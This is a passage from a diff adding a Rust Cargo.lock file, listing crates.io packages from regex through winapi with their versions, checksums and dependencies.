+source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e10754a14b9137dd7b1e3e5b0493cc9171fdd105e0ab477f51b72e7f3ac0e276" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e1dd4122fc1595e8162618945476892eefca7b88c52820e74af6262213cae8f" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc897dd8d9e8bd1ed8cdad82b5966c3e0ecae09fb1907d58efaa013543185d0a" + +[[package]] +name = "reqwest" +version = "0.12.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eddd3ca559203180a307f12d114c268abf583f59b03cb906fd0b3ff8646c1147" +dependencies = [ + "base64 0.22.1", + "bytes", + "futures-channel", + "futures-core", + "futures-util", + "http 1.4.1", + "http-body 1.0.1", + "http-body-util", + "hyper 1.9.0", + "hyper-rustls", + "hyper-util", + "js-sys", + "log", + "mime_guess", + "percent-encoding", + "pin-project-lite", + "quinn", + "rustls", + "rustls-pki-types", + "serde", + "serde_json", + "serde_urlencoded", + "sync_wrapper", + "tokio", + "tokio-rustls", + "tower", + "tower-http", + "tower-service", + "url", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", + "webpki-roots", +] + +[[package]] +name = "ring" +version = "0.17.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4689e6c2294d81e88dc6261c768b63bc4fcdb852be6d1352498b114f61383b7" +dependencies = [ + "cc", + "cfg-if", + "getrandom 0.2.17", + "libc", + "untrusted", + "windows-sys 0.52.0", +] + +[[package]] +name = "rustc-hash" +version = "2.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94300abf3f1ae2e2b8ffb7b58043de3d399c73fa6f4b73826402a5c457614dbe" + +[[package]] +name = "rustix" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6fe4565b9518b83ef4f91bb47ce29620ca828bd32cb7e408f0062e9930ba190" +dependencies = [ + "bitflags", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.61.2", +] + +[[package]] +name = "rustls" +version = "0.23.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef86cd5876211988985292b91c96a8f2d298df24e75989a43a3c73f2d4d8168b" +dependencies = [ + "once_cell", + "ring", + "rustls-pki-types", + "rustls-webpki", + "subtle", + "zeroize", +] + +[[package]] +name = "rustls-pki-types" +version = "1.14.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30a7197ae7eb376e574fe940d068c30fe0462554a3ddbe4eca7838e049c937a9" +dependencies = [ + "web-time", + "zeroize", +] + +[[package]] +name = "rustls-webpki" +version = "0.103.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61c429a8649f110dddef65e2a5ad240f747e85f7758a6bccc7e5777bd33f756e" +dependencies = [ + "ring", + "rustls-pki-types", + "untrusted", +] + +[[package]] +name = "rustversion" +version = "1.0.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b39cdef0fa800fc44525c84ccb54a029961a8215f9619753635a9c0d2538d46d" + +[[package]] +name = "ryu" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9774ba4a74de5f7b1c1451ed6cd5285a32eddb5cccb8cc655a4e50009e06477f" + +[[package]] +name = "same-file" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "schemars" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2b42f36aa1cd011945615b92222f6bf73c599a102a300334cd7f8dbeec726cc" +dependencies = [ + "dyn-clone", + "ref-cast", + "schemars_derive", + "serde", + "serde_json", +] + +[[package]] +name = "schemars_derive" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7d115b50f4aaeea07e79c1912f645c7513d81715d0420f8bc77a18c6260b307f" +dependencies = [ + "proc-macro2", + "quote", + "serde_derive_internals", + "syn 2.0.117", +] + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "secret-service" +version = "4.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e4d35ad99a181be0a60ffcbe85d680d98f87bdc4d7644ade319b87076b9dbfd4" +dependencies = [ + "aes", + "cbc", + "futures-util", + "generic-array", + "hkdf", + "num", + "once_cell", + "rand 0.8.6", + "serde", + "sha2", + "zbus", +] + +[[package]] +name = "security-framework" +version = "2.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "897b2245f0b511c87893af39b033e5ca9cce68824c4d7e7630b5a1d339658d02" +dependencies = [ + "bitflags", + "core-foundation 0.9.4", + "core-foundation-sys", + "libc", + "security-framework-sys", +] + +[[package]] +name = "security-framework" +version = "3.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7f4bc775c73d9a02cde8bf7b2ec4c9d12743edf609006c7facc23998404cd1d" +dependencies = [ + "bitflags", + "core-foundation 0.10.1", + "core-foundation-sys", + "libc", + "security-framework-sys", +] + +[[package]] +name = "security-framework-sys" +version = "2.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ce2691df843ecc5d231c0b14ece2acc3efb62c0a398c7e1d875f3983ce020e3" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "semver" +version = "1.0.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a7852d02fc848982e0c167ef163aaff9cd91dc640ba85e263cb1ce46fae51cd" + +[[package]] +name = "serde" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e" +dependencies = [ + "serde_core", + "serde_derive", +] + +[[package]] +name = "serde_core" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "serde_derive_internals" +version = "0.29.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "18d26a20a969b9e3fdf2fc2d9f21eda6c40e2de84c9408bb5d3b05d499aae711" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "serde_json" +version = "1.0.150" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e8014e44b4736ed0538adeecded0fce2a272f22dc9578a7eb6b2d9993c74cfb9" +dependencies = [ + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "serde_regex" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8136f1a4ea815d7eac4101cfd0b16dc0cb5e1fe1b8609dfd728058656b7badf" +dependencies = [ + "regex", + "serde", +] + +[[package]] +name = "serde_repr" +version = "0.1.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "175ee3e80ae9982737ca543e96133087cbd9a485eecc3bc4de9c1a37b47ea59c" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "serde_spanned" +version = "0.6.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bf41e0cfaf7226dca15e8197172c295a782857fcb97fad1808a166870dee75a3" +dependencies = [ + "serde", +] + +[[package]] +name = "serde_urlencoded" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" +dependencies = [ + "form_urlencoded", + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "serde_yaml" +version = "0.9.34+deprecated" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a8b1a1a2ebf674015cc02edccce75287f1a0130d394307b36743c2f5d504b47" +dependencies = [ + "indexmap", + "itoa", + "ryu", + "serde", + "unsafe-libyaml", +] + +[[package]] +name = "sha1" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "sha2" +version = "0.10.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "sharded-slab" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" +dependencies = [ + "lazy_static", +] + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + +[[package]] +name = "signal-hook-registry" +version = "1.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4db69cba1110affc0e9f7bcd48bbf87b3f4fc7c61fc9155afd4c469eb3d6c1b" +dependencies = [ + "errno", + "libc", +] + +[[package]] +name = "similar" +version = "2.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbbb5d9659141646ae647b42fe094daf6c6192d1620870b449d9557f748b2daa" + +[[package]] +name = "siphasher" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ee5873ec9cce0195efcb7a4e9507a04cd49aec9c83d0389df45b1ef7ba2e649" + +[[package]] +name = "slab" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c790de23124f9ab44544d7ac05d60440adc586479ce501c1d6d7da3cd8c9cf5" + +[[package]] +name = "slug" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "882a80f72ee45de3cc9a5afeb2da0331d58df69e4e7d8eeb5d3c7784ae67e724" +dependencies = [ + "deunicode", + "wasm-bindgen", +] + +[[package]] +name = "smallvec" +version = "1.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03" + +[[package]] +name = "socket2" +version = "0.5.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e22376abed350d73dd1cd119b57ffccad95b4e585a7cda43e286245ce23c0678" +dependencies = [ + "libc", + "windows-sys 0.52.0", +] + +[[package]] +name = "socket2" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3a766e1110788c36f4fa1c2b71b387a7815aa65f88ce0229841826633d93723e" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "stable_deref_trait" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ce2be8dc25455e1f91df71bfa12ad37d7af1092ae736f3a6cd0e37bc7810596" + +[[package]] +name = "static_assertions" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" + +[[package]] +name = "string_cache" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bf776ba3fa74f83bf4b63c3dcbbf82173db2632ed8452cb2d891d33f459de70f" +dependencies = [ + "new_debug_unreachable", + "parking_lot", + "phf_shared", + "precomputed-hash", +] + +[[package]] +name = "strsim" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" + +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + +[[package]] +name = "syn" +version = "1.0.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "2.0.117" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e665b8803e7b1d2a727f4023456bbbbe74da67099c585258af0ad9c5013b9b99" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "sync_wrapper" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bf256ce5efdfa370213c1dabab5935a12e49f2c58d15e9eac2870d3b4f27263" +dependencies = [ + "futures-core", +] + +[[package]] +name = "synstructure" +version = "0.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "728a70f3dbaf5bab7f0c4b1ac8d7ae5ea60a4b5549c8a5914361c99147a709d2" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "tempfile" +version = "3.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd" +dependencies = [ + "fastrand", + "getrandom 0.4.2", + "once_cell", + "rustix", + "windows-sys 0.61.2", +] + +[[package]] +name = "term" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c59df8ac95d96ff9bede18eb7300b0fda5e5d8d90960e76f8e14ae765eedbf1f" +dependencies = [ + "dirs-next", + "rustversion", + "winapi", +] + +[[package]] +name = "thiserror" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52" +dependencies = [ + "thiserror-impl 1.0.69", +] + +[[package]] +name = "thiserror" +version = "2.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4288b5bcbc7920c07a1149a35cf9590a2aa808e0bc1eafaade0b80947865fbc4" +dependencies = [ + "thiserror-impl 2.0.18", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "thiserror-impl" +version = "2.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebc4ee7f67670e9b64d05fa4253e753e016c6c95ff35b89b7941d6b856dec1d5" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "thread_local" +version = "1.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f60246a4944f24f6e018aa17cdeffb7818b76356965d03b07d6a9886e8962185" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "tiny-keccak" +version = "2.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c9d3793400a45f954c52e73d068316d76b6f4e36977e3fcebb13a2721e80237" +dependencies = [ + "crunchy", +] + +[[package]] +name = "tinystr" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8323304221c2a851516f22236c5722a72eaa19749016521d6dff0824447d96d" +dependencies = [ + "displaydoc", + "zerovec", +] + +[[package]] +name = "tinyvec" +version = "1.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3e61e67053d25a4e82c844e8424039d9745781b3fc4f32b8d55ed50f5f667ef3" +dependencies = [ + "tinyvec_macros", +] + +[[package]] +name = "tinyvec_macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" + +[[package]] +name = "tokio" +version = "1.52.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fc7f01b389ac15039e4dc9531aa973a135d7a4135281b12d7c1bc79fd57fffe" +dependencies = [ + "bytes", + "libc", + "mio", + "parking_lot", + "pin-project-lite", + "signal-hook-registry", + "socket2 0.6.3", + "tokio-macros", + "tracing", + "windows-sys 0.61.2", +] + +[[package]] +name = "tokio-macros" +version = "2.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "385a6cb71ab9ab790c5fe8d67f1645e6c450a7ce006a33de03daa956cf70a496" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "tokio-rustls" +version = "0.26.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1729aa945f29d91ba541258c8df89027d5792d85a8841fb65e8bf0f4ede4ef61" +dependencies = [ + "rustls", + "tokio", +] + +[[package]] +name = "toml" +version = "0.8.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc1beb996b9d83529a9e75c17a1686767d148d70663143c7854d8b4a09ced362" +dependencies = [ + "serde", + "serde_spanned", + "toml_datetime 0.6.11", + "toml_edit 0.22.27", +] + +[[package]] +name = "toml_datetime" +version = "0.6.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22cddaf88f4fbc13c51aebbf5f8eceb5c7c5a9da2ac40a13519eb5b0a0e8f11c" +dependencies = [ + "serde", +] + +[[package]] +name = "toml_datetime" +version = "1.1.1+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3165f65f62e28e0115a00b2ebdd37eb6f3b641855f9d636d3cd4103767159ad7" +dependencies = [ + "serde_core", +] + +[[package]] +name = "toml_edit" +version = "0.22.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41fe8c660ae4257887cf66394862d21dbca4a6ddd26f04a3560410406a2f819a" +dependencies = [ + "indexmap", + "serde", + "serde_spanned", + "toml_datetime 0.6.11", + "toml_write", + "winnow 0.7.15", +] + +[[package]] +name = "toml_edit" +version = "0.25.8+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "16bff38f1d86c47f9ff0647e6838d7bb362522bdf44006c7068c2b1e606f1f3c" +dependencies = [ + "indexmap", + "toml_datetime 1.1.1+spec-1.1.0", + "toml_parser", + "winnow 1.0.3", +] + +[[package]] +name = "toml_parser" +version = "1.1.0+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2334f11ee363607eb04df9b8fc8a13ca1715a72ba8662a26ac285c98aabb4011" +dependencies = [ + "winnow 1.0.3", +] + +[[package]] +name = "toml_write" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d99f8c9a7727884afe522e9bd5edbfc91a3312b36a77b5fb8926e4c31a41801" + +[[package]] +name = "tower" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebe5ef63511595f1344e2d5cfa636d973292adc0eec1f0ad45fae9f0851ab1d4" +dependencies = [ + "futures-core", + "futures-util", + "pin-project-lite", + "sync_wrapper", + "tokio", + "tower-layer", + "tower-service", +] + +[[package]] +name = "tower-http" +version = "0.6.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4cfcf7e2740e6fc6d4d688b4ef00650406bb94adf4731e43c096c3a19fe40840" +dependencies = [ + "bitflags", + "bytes", + "futures-util", + "http 1.4.1", + "http-body 1.0.1", + "pin-project-lite", + "tower", + "tower-layer", + "tower-service", + "url", +] + +[[package]] +name = "tower-layer" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "121c2a6cda46980bb0fcd1647ffaf6cd3fc79a013de288782836f6df9c48780e" + +[[package]] +name = "tower-service" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3" + +[[package]] +name = "tracing" +version = "0.1.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63e71662fa4b2a2c3a26f570f037eb95bb1f85397f3cd8076caed2f026a6d100" +dependencies = [ + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7490cfa5ec963746568740651ac6781f701c9c5ea257c58e057f3ba8cf69e8da" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "tracing-core" +version = "0.1.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db97caf9d906fbde555dd62fa95ddba9eecfd14cb388e4f491a66d74cd5fb79a" +dependencies = [ + "once_cell", + "valuable", +] + +[[package]] +name = "tracing-log" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3" +dependencies = [ + "log", + "once_cell", + "tracing-core", +] + +[[package]] +name = "tracing-subscriber" +version = "0.3.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7f578e5945fb242538965c2d0b04418d38ec25c79d160cd279bf0731c8d319" +dependencies = [ + "matchers", + "nu-ansi-term", + "once_cell", + "regex-automata", + "sharded-slab", + "smallvec", + "thread_local", + "tracing", + "tracing-core", + "tracing-log", +] + +[[package]] +name = "try-lock" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" + +[[package]] +name = "typenum" +version = "1.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "40ce102ab67701b8526c123c1bab5cbe42d7040ccfd0f64af1a385808d2f43de" + +[[package]] +name = "uds_windows" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2f6fb2847f6742cd76af783a2a2c49e9375d0a111c7bef6f71cd9e738c72d6e" +dependencies = [ + "memoffset", + "tempfile", + "windows-sys 0.61.2", +] + +[[package]] +name = "unicase" +version = "2.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dbc4bc3a9f746d862c45cb89d705aa10f187bb96c76001afab07a0d35ce60142" + +[[package]] +name = "unicode-ident" +version = "1.0.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" + +[[package]] +name = "unicode-xid" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853" + +[[package]] +name = "unsafe-libyaml" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "673aac59facbab8a9007c7f6108d11f63b603f7cabff99fabf650fea5c32b861" + +[[package]] +name = "untrusted" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" + +[[package]] +name = "url" +version = "2.5.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff67a8a4397373c3ef660812acab3268222035010ab8680ec4215f38ba3d0eed" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", + "serde", +] + +[[package]] +name = "utf8_iter" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be" + +[[package]] +name = "utf8parse" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821" + +[[package]] +name = "uuid" +version = "1.23.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d258b83ceec21034727ecee8c382cfa6c3e133699b0742c64571814fb420c9f7" +dependencies = [ + "getrandom 0.4.2", + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "valuable" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba73ea9cf16a25df0c8caa16c51acb937d5712a8429db78a3ee29d5dcacd3a65" + +[[package]] +name = "value-bag" +version = "1.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ba6f5989077681266825251a52748b8c1d8a4ad098cc37e440103d0ea717fc0" + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "walkdir" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29790946404f91d9c5d06f9874efddea1dc06c5efe94541a7d6863108e3a5e4b" +dependencies = [ + "same-file", + "winapi-util", +] + +[[package]] +name = "want" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e" +dependencies = [ + "try-lock", +] + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "wasip2" +version = "1.0.3+wasi-0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "20064672db26d7cdc89c7798c48a0fdfac8213434a1186e5ef29fd560ae223d6" +dependencies = [ + "wit-bindgen 0.57.1", +] + +[[package]] +name = "wasip3" +version = "0.4.0+wasi-0.3.0-rc-2026-01-06" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5428f8bf88ea5ddc08faddef2ac4a67e390b88186c703ce6dbd955e1c145aca5" +dependencies = [ + "wit-bindgen 0.51.0", +] + +[[package]] +name = "wasm-bindgen" +version = "0.2.122" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3ed04576f974d2b2fba0f38c51dbc5518011e38c36bf1143164be765528fd409" +dependencies = [ + "cfg-if", + "once_cell", + "rustversion", + "wasm-bindgen-macro", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.72" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9473dbd2991ae90b6291c3c32c30c6187ac49aa32f9905d1cce280ec1e110b0f" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.122" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "916151b09da36bd82f6615cbf3a419e2f0ba23a03c6160e8e92eb6bd4aa1dec6" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.122" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "299047362ccbfce148b67ab7e73349f77748e00c8296f9542adfad2ad82c5c5e" +dependencies = [ + "bumpalo", + "proc-macro2", + "quote", + "syn 2.0.117", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.122" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a929b2c61f11ba3e9bc35b50c1f25cb38e0e892c0c231ae2b8cf78d5dad4437" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "wasm-encoder" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "990065f2fe63003fe337b932cfb5e3b80e0b4d0f5ff650e6985b1048f62c8319" +dependencies = [ + "leb128fmt", + "wasmparser", +] + +[[package]] +name = "wasm-metadata" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb0e353e6a2fbdc176932bbaab493762eb1255a7900fe0fea1a2f96c296cc909" +dependencies = [ + "anyhow", + "indexmap", + "wasm-encoder", + "wasmparser", +] + +[[package]] +name = "wasmparser" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47b807c72e1bac69382b3a6fb3dbe8ea4c0ed87ff5629b8685ae6b9a611028fe" +dependencies = [ + "bitflags", + "hashbrown 0.15.5", + "indexmap", + "semver", +] + +[[package]] +name = "web-sys" +version = "0.3.99" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d621441cfc37b84979402712047321980c178f299193a3589d05b99e8763436" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "web-time" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a6580f308b1fad9207618087a65c04e7a10bc77e02c8e84e9b00dd4b12fa0bb" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "webpki-roots" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52f5ee44c96cf55f1b349600768e3ece3a8f26010c05265ab73f945bb1a2eb9d" +dependencies = [ + "rustls-pki-types", +] + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = 